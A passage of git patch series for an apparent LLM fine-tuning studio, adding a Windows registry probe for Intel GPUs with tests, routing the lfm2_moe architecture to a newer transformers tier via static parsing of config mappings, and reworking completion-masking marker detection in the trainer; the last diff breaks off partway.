 .../tests/test_install_resolve_prebuilt.py    | 234 ++++++++++++++++++
 studio/install_llama_prebuilt.py              | 104 ++++++--
 2 files changed, 318 insertions(+), 20 deletions(-)

diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index 090d2932ea..e97ca47717 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -483,3 +483,237 @@ def test_resolve_prebuilt_intel_host_routes_to_upstream(monkeypatch, capsys):
     seen, out = _run_resolve_capture_host(monkeypatch, capsys)
     assert seen["repo"] == UPSTREAM
     assert out["repo"] == UPSTREAM
+
+
+# ---------------------------------------------------------------------------
+# windows_intel_gpu_in_registry: the in-process Windows Intel probe. A fake
+# winreg module stands in for the real registry so the walk runs anywhere.
+# ---------------------------------------------------------------------------
+
+
+class _FakeRegKey:
+    def __init__(
+        self,
+        subkeys = None,
+        values = None,
+        denied = False,
+    ):
+        self.subkeys = subkeys or {}
+        self.values = values or {}
+        self.denied = denied
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *exc):
+        return False
+
+
+class _FakeWinreg:
+    HKEY_LOCAL_MACHINE = object()
+
+    def __init__(self, root_key):
+        self._root_key = root_key
+
+    def OpenKey(self, parent, name):
+        if parent is self.HKEY_LOCAL_MACHINE:
+            # Pin the production constant: a typo'd class GUID must fail here,
+            # not silently return the fake tree.
+            if name != ilp._WINDOWS_DISPLAY_CLASS_KEY:
+                raise FileNotFoundError(name)
+            if self._root_key is None:
+                raise FileNotFoundError(name)
+            return self._root_key
+        key = parent.subkeys.get(name)
+        if key is None:
+            # Real winreg raises OSError, never KeyError, for a missing key.
+            raise FileNotFoundError(name)
+        if key.denied:
+            raise PermissionError(name)
+        return key
+
+    def QueryInfoKey(self, key):
+        return (len(key.subkeys), len(key.values), 0)
+
+    def EnumKey(self, key, index):
+        return list(key.subkeys)[index]
+
+    def QueryValueEx(self, key, value_name):
+        if value_name not in key.values:
+            raise FileNotFoundError(value_name)
+        return (key.values[value_name], 1)
+
+
+def _probe_with_display_class(monkeypatch, adapters):
+    # The helper lazily does `import winreg`; plant the fake in sys.modules the
+    # same way unsloth_cli/tests/test_start.py fakes it for _refresh_windows_path.
+    monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(_FakeRegKey(subkeys = adapters)))
+    return ilp.windows_intel_gpu_in_registry()
+
+
+def test_windows_intel_registry_matches_vendor_id(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0&SUBSYS_12345678",
+                        "DriverDesc": "Intel(R) Arc(TM) A770 Graphics",
+                    }
+                ),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_matches_driver_desc_without_device_id(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(values = {"DriverDesc": "Intel(R) UHD Graphics 630"}),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_ignores_non_intel_adapters(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684",
+                        "DriverDesc": "NVIDIA GeForce RTX 4090",
+                    }
+                ),
+                "0001": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_1002&DEV_744C",
+                        "DriverDesc": "AMD Radeon RX 7900 XTX",
+                    }
+                ),
+            },
+        )
+        is False
+    )
+
+
+def test_windows_intel_registry_skips_restricted_properties_subkey(monkeypatch):
+    # The real class key carries an ACL-restricted "Properties" subkey and can
+    # deny access to individual adapter keys; neither may abort the walk.
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "Properties": _FakeRegKey(denied = True),
+                "0000": _FakeRegKey(denied = True),
+                "0001": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0",
+                    }
+                ),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_missing_class_key_is_false(monkeypatch):
+    monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(None))
+    assert ilp.windows_intel_gpu_in_registry() is False
+
+
+def _detect_windows_host(
+    monkeypatch,
+    winreg_fake,
+    powershell_stdout = "",
+):
+    """Drive the real detect_host() as a GPU-less Windows host with a fake
+    registry, recording every run_capture invocation. Pins the wiring the
+    unit tests above cannot see: registry-first, CIM only on a registry miss."""
+    monkeypatch.setitem(sys.modules, "winreg", winreg_fake)
+    monkeypatch.setattr(ilp.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(ilp.platform, "machine", lambda: "AMD64")
+    for _env in (
+        "CUDA_VISIBLE_DEVICES",
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "HIP_PATH",
+        "ROCM_PATH",
+    ):
+        monkeypatch.delenv(_env, raising = False)
+    monkeypatch.setattr(
+        ilp.shutil,
+        "which",
+        lambda name: "powershell" if name in ("powershell", "pwsh") else None,
+    )
+    captured = []
+
+    def _fake_run_capture(command, **kwargs):
+        captured.append(command[0])
+        if command[0] == "powershell":
+            return SimpleNamespace(returncode = 0, stdout = powershell_stdout, stderr = "")
+        return SimpleNamespace(returncode = 1, stdout = "", stderr = "")
+
+    monkeypatch.setattr(ilp, "run_capture", _fake_run_capture)
+    return ilp.detect_host(), captured
+
+
+def test_detect_host_registry_intel_skips_cim_probe(monkeypatch):
+    winreg = _FakeWinreg(
+        _FakeRegKey(
+            subkeys = {
+                "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0"}),
+            }
+        )
+    )
+    host, captured = _detect_windows_host(monkeypatch, winreg)
+    assert host.has_intel_gpu is True
+    assert "powershell" not in captured
+
+
+def test_detect_host_cim_fallback_fires_on_registry_miss(monkeypatch):
+    winreg = _FakeWinreg(
+        _FakeRegKey(
+            subkeys = {
+                "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684"}),
+            }
+        )
+    )
+    host, captured = _detect_windows_host(
+        monkeypatch, winreg, powershell_stdout = "Intel(R) Arc(TM) A770 Graphics"
+    )
+    assert host.has_intel_gpu is True
+    assert "powershell" in captured
+
+
+def test_windows_intel_registry_unexpected_error_is_false(monkeypatch):
+    # The probe is advisory: even a non-OSError bug in the walk must return
+    # False (deferring to the CIM fallback), never crash detect_host.
+    class _ExplodingWinreg:
+        HKEY_LOCAL_MACHINE = object()
+
+        def OpenKey(self, parent, name):
+            raise TypeError(name)
+
+    monkeypatch.setitem(sys.modules, "winreg", _ExplodingWinreg())
+    assert ilp.windows_intel_gpu_in_registry() is False
+
+
+def test_detect_host_cim_rescues_exploding_registry(monkeypatch):
+    class _ExplodingWinreg:
+        HKEY_LOCAL_MACHINE = object()
+
+        def OpenKey(self, parent, name):
+            raise TypeError(name)
+
+    host, captured = _detect_windows_host(
+        monkeypatch, _ExplodingWinreg(), powershell_stdout = "Intel(R) Arc(TM) A770 Graphics"
+    )
+    assert host.has_intel_gpu is True
+    assert "powershell" in captured
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 40caebc040..ca1fe79efa 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -2762,6 +2762,64 @@ def _pick_rocm_gfx_target(out: str) -> str | None:
     return _tokens[0]
 
 
+# Display-adapter device class: one NNNN subkey per installed display driver
+# config, each carrying the driver's DriverDesc and PCI MatchingDeviceId.
+_WINDOWS_DISPLAY_CLASS_KEY = (
+    r"SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}"
+)
+
+
+def windows_intel_gpu_in_registry() -> bool:
+    """Whether the Windows registry lists an Intel display adapter.
+
+    In-process Windows counterpart of the Linux DRM vendor-id check (0x8086),
+    with weaker semantics: the class key lists installed display-driver
+    configs, which can outlive removed hardware, where sysfs lists present
+    devices. A stale Intel entry at worst routes to the upstream Vulkan
+    prebuilt instead of the fork CPU bundle: inference still works (the
+    Vulkan build runs on CPU when no Vulkan device exists), at the cost of
+    fork-only extras such as the DiffusionGemma visual server. detect_host's
+    PowerShell + WMI probe can silently miss a real Intel GPU: a cold
+    powershell.exe start plus the first CIM query routinely exceeds the 15s
+    budget on hosts with slow AV scanning or a degraded WMI repository, and
+    the probe swallows the timeout (#4452, Arc A770 routed to the CPU
+    prebuilt). Reading the display-adapter class key needs no subprocess and
+    answers in microseconds. Matches the PCI vendor id in MatchingDeviceId
+    (ven_8086) or an Intel DriverDesc.
+    """
+    try:
+        import winreg
+    except ImportError:
+        return False
+    try:
+        with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _WINDOWS_DISPLAY_CLASS_KEY) as class_key:
+            for index in range(winreg.QueryInfoKey(class_key)[0]):
+                try:
+                    name = winreg.EnumKey(class_key, index)
+                    if not name.isdigit():
+                        # "Properties" is ACL-restricted and not an adapter.
+                        continue
+                    with winreg.OpenKey(class_key, name) as adapter_key:
+                        for value_name, needle in (
+                            ("MatchingDeviceId", "ven_8086"),
+                            ("DriverDesc", "intel"),
+                        ):
+                            try:
+                                value, _ = winreg.QueryValueEx(adapter_key, value_name)
+                            except OSError:
+                                continue
+                            if needle in str(value).lower():
+                                return True
+                except OSError:
+                    continue
+    except Exception:
+        # Advisory probe: any unexpected failure must degrade to the CIM
+        # fallback, never crash the installer (mirrors detect_host's own
+        # swallow around the CIM probe).
+        return False
+    return False
+
+
 def detect_host() -> HostInfo:
     system = platform.system()
     machine = platform.machine().lower()
@@ -2974,9 +3032,10 @@ def detect_host() -> HostInfo:
         # since the HIP SDK can be installed without an AMD GPU.
 
     # Detect an Intel GPU; gates the Vulkan prebuilt. Linux reads the DRM sysfs
-    # vendor id (0x8086); Windows queries the WMI video controller list. Only
-    # probed with no usable NVIDIA and no ROCm (matching the Vulkan branches),
-    # keeping the probe (notably the Windows powershell call) off that path.
+    # vendor id (0x8086); Windows reads the display-adapter registry class,
+    # then falls back to the WMI video controller list. Only probed with no
+    # usable NVIDIA and no ROCm (matching the Vulkan branches), keeping the
+    # probe (notably the Windows powershell call) off that path.
     has_intel_gpu = False
     if not has_usable_nvidia and not has_rocm:
         if is_linux:
@@ -2989,23 +3048,28 @@ def detect_host() -> HostInfo:
                 except OSError:
                     continue
         elif is_windows:
-            _ps = shutil.which("powershell") or shutil.which("pwsh")
-            if _ps:
-                try:
-                    _result = run_capture(
-                        [
-                            _ps,
-                            "-NoProfile",
-                            "-Command",
-                            "Get-CimInstance Win32_VideoController | "
-                            "Select-Object -ExpandProperty Name",
-                        ],
-                        timeout = 15,
-                    )
-                    if _result.returncode == 0 and "intel" in _result.stdout.lower():
-                        has_intel_gpu = True
-                except Exception:
-                    pass
+            # Registry first (in-process; see windows_intel_gpu_in_registry).
+            # The CIM query stays as the fallback when the registry shows no
+            # Intel adapter.
+            has_intel_gpu = windows_intel_gpu_in_registry()
+            if not has_intel_gpu:
+                _ps = shutil.which("powershell") or shutil.which("pwsh")
+                if _ps:
+                    try:
+                        _result = run_capture(
+                            [
+                                _ps,
+                                "-NoProfile",
+                                "-Command",
+                                "Get-CimInstance Win32_VideoController | "
+                                "Select-Object -ExpandProperty Name",
+                            ],
+                            timeout = 15,
+                        )
+                        if _result.returncode == 0 and "intel" in _result.stdout.lower():
+                            has_intel_gpu = True
+                    except Exception:
+                        pass
 
     return HostInfo(
         system = system,

From c3feac6160698c9c1990be89a1a2a74b01fa57aa Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 11 Jul 2026 05:08:07 -0700
Subject: [PATCH 301/306] Studio: route lfm2_moe (LFM2-8B-A1B) to transformers
 5.3.0 (#7040)

LFM2-8B-A1B and any other lfm2_moe checkpoint were missing from the
transformers tier tables, so they fell through to the default 4.57.x
sidecar, which does not register lfm2_moe and errors with
"not supported yet in transformers==4.57.6". Only lfm2_vl was listed.

Add Lfm2MoeForCausalLM / lfm2_moe to the 5.3.0 tier (lfm2_moe is
registered in transformers 5.3.0). get_transformers_tier now returns
530 for LFM2-8B-A1B and the model loads and trains as expected.
---
 studio/backend/utils/transformers_version.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 2a63caa5b2..81d534a7c2 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -173,6 +173,7 @@ _TRANSFORMERS_530_ARCHITECTURES: set[str] = {
     "Qwen3MoeForCausalLM",
     "Qwen3NextForCausalLM",
     "Glm4MoeLiteForCausalLM",
+    "Lfm2MoeForCausalLM",
     "Lfm2VlForConditionalGeneration",
 }
 _TRANSFORMERS_530_MODEL_TYPES: set[str] = {
@@ -183,6 +184,7 @@ _TRANSFORMERS_530_MODEL_TYPES: set[str] = {
     "qwen3_moe",
     "qwen3_next",
     "glm4_moe_lite",
+    "lfm2_moe",
     "lfm2_vl",
 }
 

From 97161c89d6fd622ba5c3d9ccd7d62b2476e7466f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 11 Jul 2026 05:12:37 -0700
Subject: [PATCH 302/306] Studio: route models by CONFIG_MAPPING_NAMES instead
 of hardcoded tables (#7043)

* Studio: route models by CONFIG_MAPPING_NAMES instead of hardcoded tables

A model whose model_type is absent from an overlay's transformers cannot load
there, so a new MoE arch not yet in the tier tables gets routed to default and
fails (e.g. lfm2_moe, deepseek_v4). Add a static resolver that parses each
overlay's CONFIG_MAPPING_NAMES straight from source (AST only, no import, no
network, no trust_remote_code) and picks the lowest tier that ships the
model_type. Runs after the existing checks and only ever upgrades default, so
no existing routing changes and new archs no longer need a table edit.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio router: harden the CONFIG_MAPPING_NAMES resolver

- Resolve the default tier map from the base install, skipping any .venv_t5_*
  sidecar on sys.path, so an in-process 5.x activation cannot make a 5.x-only
  model look loadable by 4.x.
- Do not cache an overlay whose sidecar dir is absent, so a later call re-reads
  it once provisioned instead of serving a stale empty map.
- Also collect model types added via CONFIG_MAPPING_NAMES.update({...}) and
  **{...} unpacking, not just the literal assignment (5.10 uses both).
- Wrap the AST walk in the try/except so a malformed source can never crash tier
  resolution.
- Feed the mapping fallback from _load_config_json so a config served from the
  hub cache during a transient outage still routes new architectures.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/utils/transformers_version.py | 132 +++++++++++++++++++
 1 file changed, 132 insertions(+)

diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 81d534a7c2..a69673f081 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -28,7 +28,9 @@ Strategy:
   sys.path swap using the same directories pre-installed by setup.sh.
 """
 
+import ast
 import importlib
+import importlib.util
 import json
 import structlog
 from loggers import get_logger
@@ -872,6 +874,116 @@ def _cached_config_json(model_name: str, hf_token: str | None) -> dict | None:
     return _config_json_cache.get(_token_cache_key(model_name, hf_token))
 
 
+# --- Static tier from CONFIG_MAPPING_NAMES (AST only: no import/network/exec) ---
+# A model_type absent from an overlay's mapping can't load there. Parse each sidecar's
+# config map from source and pick the lowest tier that ships it, so a new arch routes
+# correctly with no per-model table edit. Only ever upgrades default, never lowers.
+_config_mapping_cache: dict[str, frozenset[str]] = {}
+
+
+def _overlay_transformers_dir(tier: str) -> str | None:
+    """transformers source dir for a tier, located without importing it."""
+    if tier != "default":
+        root = {"530": _VENV_T5_530_DIR, "550": _VENV_T5_550_DIR, "510": _VENV_T5_510_DIR}.get(tier)
+        src = os.path.join(root, "transformers") if root else None
+        return src if src and _safe_is_dir(Path(src)) else None
+    # default: the base 4.x transformers. find_spec resolves to a 5.x sidecar if one
+    # is already on sys.path, so skip any .venv_t5_* / llmcompressor overlay dir.
+    sidecars = tuple(
+        os.path.abspath(d) + os.sep
+        for d in (_VENV_T5_530_DIR, _VENV_T5_550_DIR, _VENV_T5_510_DIR, _VENV_LLMCOMPRESSOR_DIR)
+    )
+    candidates = []
+    try:
+        spec = importlib.util.find_spec("transformers")
+        if spec and spec.origin:
+            candidates.append(os.path.dirname(spec.origin))
+    except Exception:
+        pass
+    candidates += [os.path.join(e, "transformers") for e in sys.path if e]
+    for c in candidates:
+        if _safe_is_dir(Path(c)) and not os.path.abspath(c).startswith(sidecars):
+            return c
+    return None
+
+
+def _mapping_first_keys(value: ast.AST) -> set[str]:
+    """First keys of a dict literal, or of an OrderedDict(...)/dict(...)/.update(...)
+    built from 2-tuple lists and **{...} unpacking."""
+
+    def keys_of(node):
+        if isinstance(node, ast.Dict):
+            return list(node.keys)
+        if isinstance(node, (ast.List, ast.Tuple)):
+            return [
+                el.elts[0] for el in node.elts if isinstance(el, (ast.Tuple, ast.List)) and el.elts
+            ]
+        return []
+
+    nodes = keys_of(value)
+    if isinstance(value, ast.Call):
+        for a in value.args:
+            nodes += keys_of(a)
+        for kw in value.keywords:  # **{...} unpacking has kw.arg is None
+            if kw.arg is None:
+                nodes += keys_of(kw.value)
+    return {n.value for n in nodes if isinstance(n, ast.Constant) and isinstance(n.value, str)}
+
+
+def _config_model_types(tier: str) -> frozenset[str]:
+    """model_type keys in a tier's CONFIG_MAPPING_NAMES (5.10 moved it to auto_mappings.py)."""
+    cached = _config_mapping_cache.get(tier)
+    if cached is not None:
+        return cached
+    tdir = _overlay_transformers_dir(tier)
+    if tdir is None:
+        return frozenset()  # overlay not provisioned yet; do not cache so a later call re-reads
+    keys: set[str] = set()
+    for rel in ("models/auto/configuration_auto.py", "models/auto/auto_mappings.py"):
+        path = Path(tdir) / rel
+        if not _safe_is_file(path):
+            continue
+        try:
+            tree = ast.parse(path.read_text(encoding = "utf-8"))
+            for node in ast.walk(tree):
+                # direct binding, or a CONFIG_MAPPING_NAMES.update({...}) mutation
+                if isinstance(node, ast.Assign) and any(
+                    isinstance(t, ast.Name) and t.id == "CONFIG_MAPPING_NAMES" for t in node.targets
+                ):
+                    keys |= _mapping_first_keys(node.value)
+                elif isinstance(node, ast.Expr) and isinstance(node.value, ast.Call):
+                    fn = node.value.func
+                    if (
+                        isinstance(fn, ast.Attribute)
+                        and fn.attr == "update"
+                        and isinstance(fn.value, ast.Name)
+                        and fn.value.id == "CONFIG_MAPPING_NAMES"
+                    ):
+                        keys |= _mapping_first_keys(node.value)
+        except Exception:
+            continue
+    result = frozenset(keys)
+    _config_mapping_cache[tier] = result
+    return result
+
+
+def _tier_from_config_mapping(cfg: dict) -> str | None:
+    """Lowest tier whose transformers ships cfg's model_type, or None if unknown."""
+    model_type = cfg.get("model_type")
+    if not isinstance(model_type, str):
+        for key in _NESTED_CONFIG_KEYS:
+            sub = cfg.get(key)
+            if isinstance(sub, dict) and isinstance(sub.get("model_type"), str):
+                model_type = sub["model_type"]
+                break
+    if not isinstance(model_type, str):
+        return None
+    for tier in sorted(_TIER_RANK, key = _TIER_RANK.get):
+        if model_type in _config_model_types(tier):
+            return tier
+    return None
+
+
 # --- AutoConfig probe: general tier resolution for ambiguous models ----------
 # When the cheap signals only say "needs some 5.x", parse config.json with the built-in
 # parser in each candidate sidecar (lowest first) instead of guessing. Generalizes beyond
@@ -1212,6 +1324,14 @@ def get_transformers_tier(
                             match,
                         )
                         return tier
+            static = _tier_from_config_mapping(cfg)
+            if static is not None and static != "default":
+                logger.info(
+                    "Transformers tier %s selected for %s (config mapping: model_type absent below)",
+                    static,
+                    model_name,
+                )
+                return static
             local_tc = Path(model_name) / "tokenizer_config.json"
             if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name, hf_token):
                 if not probe:
@@ -1271,6 +1391,18 @@ def get_transformers_tier(
             return override
         logger.info("Transformers tier 530 selected for %s (config.json check)", model_name)
         return "530"
+    # _load_config_json (not the cache-only reader) so a config served from the hub
+    # cache during a transient outage still feeds the mapping resolver.
+    remote_cfg = _load_config_json(model_name, hf_token)
+    if remote_cfg is not None:
+        static = _tier_from_config_mapping(remote_cfg)
+        if static is not None and static != "default":
+            logger.info(
+                "Transformers tier %s selected for %s (config mapping: model_type absent below)",
+                static,
+                model_name,
+            )
+            return static
     if _check_tokenizer_config_needs_v5(model_name, hf_token):
         if not probe:
             return "530"

From 6412efd7d9ae98ea736110979cf6042b691a2249 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 11 Jul 2026 05:13:45 -0700
Subject: [PATCH 303/306] Studio: auto-detect completion masking markers, stop
 silent full-sequence training (#7054)

* Auto-detect completion masking markers with template table fallback

Studio's train_on_completions previously relied only on the hardcoded
MODEL_TO_TEMPLATE_MAPPER / TEMPLATE_TO_RESPONSES_MAPPER tables and
silently disabled masking when a model was not in the table, so unmapped
models (LFM2-8B-A1B, DeepSeek, and others) trained on full sequences
without telling the user. Several mapped templates (glm, mistral, llama,
starling, zephyr, qwen3-thinking) also carried markers that mask every
assistant token, which made every row drop in the post-masking filter.

Both training callsites (CUDA trainer.py and MLX worker.py) now share
utils.datasets.completion_masking.apply_completion_masking:

- Try unsloth_zoo chat template auto-detection first; it raises loudly
  when the template cannot be parsed and never masks the EOS token.
- gpt-oss models keep their manual markers so non-final assistant
  <|end|> tokens stay trained, matching current behavior.
- If auto-detection raises, fall back to the template table exactly as
  before.
- If the table also misses, emit an explicit user-visible warning that
  completion masking could not be applied and full-sequence training
  will occur, instead of a quiet log line.

The >30 percent dropped-rows safety net in trainer.py now guards the
auto path as well. Table consumers for inference and chat templates are
unchanged. Validated against one representative tokenizer for every
template in TEMPLATE_TO_RESPONSES_MAPPER plus the unmapped models:
no template regresses; unit tests cover the four decision paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restrict masking fallback to marker detection failures

The auto branch wrapped the whole train_on_responses_only call, so a real
failure while applying the masking (dataset map, tokenization) was treated
as a detection miss and training silently proceeded on full sequences.
Detect markers separately via get_chat_template_parts (test seam via
detect_fn), then apply them with errors propagating, matching the manual
path. Tokenizers with preset unsloth marker attrs skip detection and call
bare so zoo reuses the stored parts.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fail the run when applying completion masking raises

The helper already falls back internally on detection failures and returns
applied=False on a double miss, so an exception reaching the callsites is a
real failure applying the masking. Remove the callsite catches that
downgraded it to full-sequence training; the run now fails visibly instead.

Also use the explicit re-export alias form in utils/datasets/__init__.py for
the two new names, satisfying the import-hoist source lint.

* Import completion masking from its submodule

The import-hoist source lint counts only real name loads, so package-level
re-exports of the two new names cannot satisfy it. Import
apply_completion_masking from utils.datasets.completion_masking directly at
both callsites and leave utils/datasets/__init__.py untouched.

* Completion masking: gpt-oss renames and MLX raw/alpaca parity

Renamed or private gpt-oss checkpoints are name-detected as gpt-oss but miss
the exact-name table; default them to the gpt-oss template markers instead of
falling through to full-sequence training.

Gate the MLX masking call on not raw_text_mode and format_type != alpaca,
mirroring the CUDA path: raw/CPT text has no chat turns to mask and
Alpaca-rendered text lacks the tokenizer's chat markers.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Define raw_text_mode outside the MLX feature-detect block

With an older zoo lacking the append_eos config field, the masking
gate referenced raw_text_mode before assignment. Hoist the assignment
above the feature detection so both consumers see it.

* Gate MLX masking on the formatter's resolved format

format_type auto can resolve to alpaca or raw text; the masking skip
checked only the requested value, so auto-detected Alpaca data got
chat-template markers applied to rendered prompt text. Track the
final_format returned by format_and_template_dataset and gate on it,
matching the CUDA path.

* Unwrap the mlx-lm TokenizerWrapper before marker checks

The wrapper delegates plain reads to the wrapped HF tokenizer but hides
underscore attrs, so preset unsloth markers were invisible and detection
relied on the loader's call patch. Unwrap to the real tokenizer first,
as the zoo MLX resolver does.

* Tighten masking comments

* gpt-oss: auto-detect markers first like every other template

The quantized and BF16 gpt-oss checkpoints ship a chat template without
the channel final header, so the pinned manual markers match nothing
there and masking trained zero tokens. Auto-detection derives markers
from whichever template the checkpoint ships and keeps the final
terminator trained; the manual gpt-oss markers remain the detection
failure fallback, including for renamed checkpoints.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/training/trainer.py       | 168 ++++------
 studio/backend/core/training/worker.py        |  48 +--
 .../backend/tests/test_completion_masking.py  | 314 ++++++++++++++++++
 .../utils/datasets/completion_masking.py      | 144 ++++++++
 4 files changed, 556 insertions(+), 118 deletions(-)
 create mode 100644 studio/backend/tests/test_completion_masking.py
 create mode 100644 studio/backend/utils/datasets/completion_masking.py

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 958f8f4197..96d1b90b16 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -70,7 +70,7 @@ from core.inference.llama_cpp import _hf_offline_if_dns_dead
 from utils.models import is_vision_model, detect_audio_type
 from utils.models.model_config import _env_offline
 from utils.datasets import format_and_template_dataset
-from utils.datasets import MODEL_TO_TEMPLATE_MAPPER, TEMPLATE_TO_RESPONSES_MAPPER
+from utils.datasets.completion_masking import apply_completion_masking
 from utils.datasets.iterable import is_streaming_dataset as detect_streaming_dataset
 from utils.datasets.raw_text import prepare_raw_text_dataset, resolve_column_names
 from utils.paths import (
@@ -3455,8 +3455,6 @@ class UnslothTrainer:
 
             # ========== TRAIN ON RESPONSES ONLY ==========
             # Raw-text datasets always train on all tokens.
-            instruction_part = None
-            response_part = None
             is_cpt = training_args.get("is_cpt", False)
             train_on_responses_enabled = (
                 False
@@ -3473,113 +3471,93 @@ class UnslothTrainer:
 
             # DeepSeek OCR handles this internally in its collator, so skip
             # Audio VLM handles label masking in its collator, so skip
+            # Markers auto-detected from the chat template first, manual table
+            # as fallback; gpt-oss stays on its manual markers. See
+            # apply_completion_masking.
             if (
                 train_on_responses_enabled
                 and not self.is_audio_vlm
                 and not self.is_audio
                 and not (is_deepseek_ocr or dataset_final_format == "alpaca")
             ):
-                try:
-                    logger.info("Configuring train on responses only...\n")
+                from unsloth.chat_templates import train_on_responses_only
 
-                    # Template mapping for this model
-                    model_name_lower = self.model_name.lower()
+                logger.info("Configuring train on responses only...\n")
 
-                    if model_name_lower in MODEL_TO_TEMPLATE_MAPPER:
-                        template_name = MODEL_TO_TEMPLATE_MAPPER[model_name_lower]
-                        logger.info(f"Detected template: {template_name}\n")
+                def _notify(level, message):
+                    if level == "warning":
+                        logger.warning(message)
+                    else:
+                        logger.info(f"{message}\n")
 
-                        if template_name in TEMPLATE_TO_RESPONSES_MAPPER:
-                            instruction_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name][
-                                "instruction"
-                            ]
-                            response_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name]["response"]
+                # No try/except: the helper handles detection failures and
+                # double misses itself, so an exception here is a real masking
+                # failure that must fail the run, not silently train on full
+                # sequences.
+                self.trainer, masking_applied = apply_completion_masking(
+                    self.trainer,
+                    self.model_name,
+                    train_on_responses_only,
+                    num_proc = config_args["dataset_num_proc"],
+                    notify = _notify,
+                )
 
-                            logger.info(f"Instruction marker: {instruction_part[:50]}...\n")
-                            logger.info(f"Response marker: {response_part[:50]}...\n")
+                if not masking_applied:
+                    train_on_responses_enabled = False
+
+                if masking_applied:
+                    try:
+                        # ── Safety net: check if all samples were filtered out ──
+                        # train_on_responses_only masks non-response tokens with -100; a
+                        # row becomes all -100 (Unsloth drops it) when the response
+                        # template is not found in the formatted text. Usually a
+                        # dataset/template mismatch (already-formatted data, or 'Train on
+                        # completions' on data that doesn't match the model's chat
+                        # template); only sometimes max_seq_length truncating the response
+                        # away. Skip this len()-based check for streaming.
+                        if detect_streaming_dataset(self.trainer.train_dataset):
+                            logger.info("Skipping post-filter length check for streaming dataset\n")
                         else:
-                            logger.info(
-                                f"No response mapping found for template: {template_name}\n"
+                            filtered_len = len(self.trainer.train_dataset)
+                            original_dataset_obj = (
+                                dataset["dataset"] if isinstance(dataset, dict) else dataset
                             )
-                            train_on_responses_enabled = False
-                    else:
-                        logger.info(f"No template mapping found for model: {self.model_name}\n")
-                        train_on_responses_enabled = False
-
-                except Exception as e:
-                    logger.warning(f"Could not configure train on responses: {e}")
-                    train_on_responses_enabled = False
-
-            # Apply train on responses only if we have valid parts
-            if (
-                train_on_responses_enabled
-                and instruction_part
-                and response_part
-                and not self.is_audio_vlm
-                and not self.is_audio
-                and not (is_deepseek_ocr or dataset_final_format == "alpaca")
-            ):
-                try:
-                    from unsloth.chat_templates import train_on_responses_only
-
-                    self.trainer = train_on_responses_only(
-                        self.trainer,
-                        instruction_part = instruction_part,
-                        response_part = response_part,
-                        num_proc = config_args["dataset_num_proc"],
-                    )
-                    logger.info("Train on responses only configured successfully\n")
-
-                    # ── Safety net: check if all samples were filtered out ──
-                    # train_on_responses_only masks non-response tokens with -100;
-                    # a row becomes all -100 (and Unsloth drops it) when the response
-                    # template is not found in the formatted text. That is usually a
-                    # dataset/template mismatch (already-formatted data, or 'Train on
-                    # completions' applied to data that doesn't match the model's chat
-                    # template), and only sometimes max_seq_length truncating the
-                    # response away. Skip this len()-based check for streaming.
-                    if detect_streaming_dataset(self.trainer.train_dataset):
